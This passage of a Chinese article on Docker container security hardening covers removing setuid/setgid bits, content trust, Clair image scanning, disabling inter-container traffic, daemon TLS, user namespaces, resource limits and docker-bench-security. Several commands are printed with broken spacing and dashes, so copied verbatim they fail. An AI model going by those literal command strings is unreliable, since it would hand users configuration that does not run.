   setuid和setgid权限可用于提权。虽然有时候必须要使用到,但如果被滥用,可能会导致非法的提升权限。可以在镜像中限制这些权限的使用。具体做法可参考:在构建镜像时通过在Dockerfile中添加以下命令来删除这些权限,一般在Dockerfile的末尾添加:RUN find / -perm +6000-type f-exec chmod a-s {} \;|| true

  –启用Docker的内容信任

    内容信任允许当用户使用远程Docker仓库进行操作时,以执行镜像标记的客户端签名和验证。内容信任提供了对从Docker仓库发送和接收的数据使用数字签名的能力。这些签名允许客户端验证特定镜像标签的完整性。

在默认情况下,内容信任是禁用的。可通过如下命令进行启动: export DOCKER_CONTENT_TRUST = 1

 –最小安装原则:

   安全的普适法则,不要安装任何与应用无关的东西。

 –对镜像进行安全漏洞扫描

   镜像中包含了很多的插件及软件包,需要对这些软件包进行漏洞扫描,并根据结果安装补丁或更新软件,Coreos提供了一款开源docker镜像安全扫描器-Clair,(github地址:https://github.com/coreos/clair)。Clair可对镜像文件进行静态的安全扫描,并结合CVE给出漏洞扫描结果,运行效果如下:

4.jpg

     关于Clair的实现原理,会在后续的文章介绍,同时我们参考了Clair的实现方式,优化了开发了一款docker镜像扫描器,也会在适当的时候推出并开源。

如何保证生产环境中容器的安全?

  • –对docker宿主机进行安全加固

     务必保证docker宿主机的安全,需要对宿主机的系统进行安全加固处理,主机加固可以参考相关的安全checklist以及各企业制定的主机安全规范,在这里就不在赘述。

  • –限制容器之间的网络流量

     在默认情况下,同一主机上的所有容器之间网络流量不受限制。因此,每个容器都有可能在同一主机上的容器网络上读取所有数据包。这可能会导致意外泄露信息。因此,需要限制容器间通信具体操作:在守护进程模式下运行docker,并将’–icc = false’作为参数。如:/ usr / bin / dockerd –icc = false 

  • –配置Docker守护程序的TLS身份验证

    在默认情况下,Docker守护程序绑定到非联网的Unix套接字,并以root权限运行。若将默认的docker守护程序更改为绑定到TCP端口或任何其他Unix套接字,那么任何有权访问该端口或套接字的人都可以完全访问Docker守护程序。因此,不应该将Docker守护程序绑定到另一个IP /端口或Unix套接字。如果必须通过网络套接字暴露Docker守护程序,需为守护程序和Docker Swarm API配置TLS身份验证。 

  • –启用用户命名空间支持

    防止容器内的提权攻击的最佳方法是将容器的应用程序配置为无特权用户运行。对于必须使用roo身份运行的容器,可以将该用户重新映射到Docker主机上特定用户。映射的用户被分配一个范围的UID,它们在命名空间内作为正常的UID,但对主机本身没有特权。关于使用用户命名空间隔离容器在后续文章中详细介绍。

  • –限制容器的内存使用量

    在默认情况下,容器可以使用主机上的所有内存。可以使用内存限制机制来防止一个容器消耗所有主机资源的拒绝服务攻击,具体可使用使用“-m”或“–memory”参数运行容器。如下:

$> docker run <运行参数> –memory <memory-size> <Container ImageName或ID> <Command>

  • –适当设置容器CPU优先级

   在默认情况下,CPU时间在容器间平均分配,可使用CPU共享功能来设定优先级。 CPU共享允许将一个容器优先于另一个容器,并禁止较低优先级的容器频繁地占用CPU资源。这样可确保高优先级的容器更好地运行,且可以有效的防止资源耗尽攻击。

    针对docker安全配置检查,docker官方提供了一个脚本工具docker-bench-secruity(github地址:https://github.com/docker/docker-bench-security),检查依据便是CIS的最佳安全实践,运行界面如下:

 

5.jpg

 

      通过前文介绍,列举了在docker容器生命周期需要进行的安全控制措施,但如果仅靠人工实施和监督,可能效果不会太好。若能将docker各个生命周期的安全管理自动化才是最佳实现方式,docker安全刚刚开始呀:)

 


后续预告

由于docker安全涉及内容较多,dosec专栏会发布一系列的原创文章,目前拟定有:

《docker镜像安全扫描器的实现》

《利用docker插件实现细粒度权限控制》

《配置安全的docker运行liunx主机》

《docker最佳安全实践详解》

《docker内容信任详解》

《docker安全管理平台的架构设计》

 欢迎关注!!!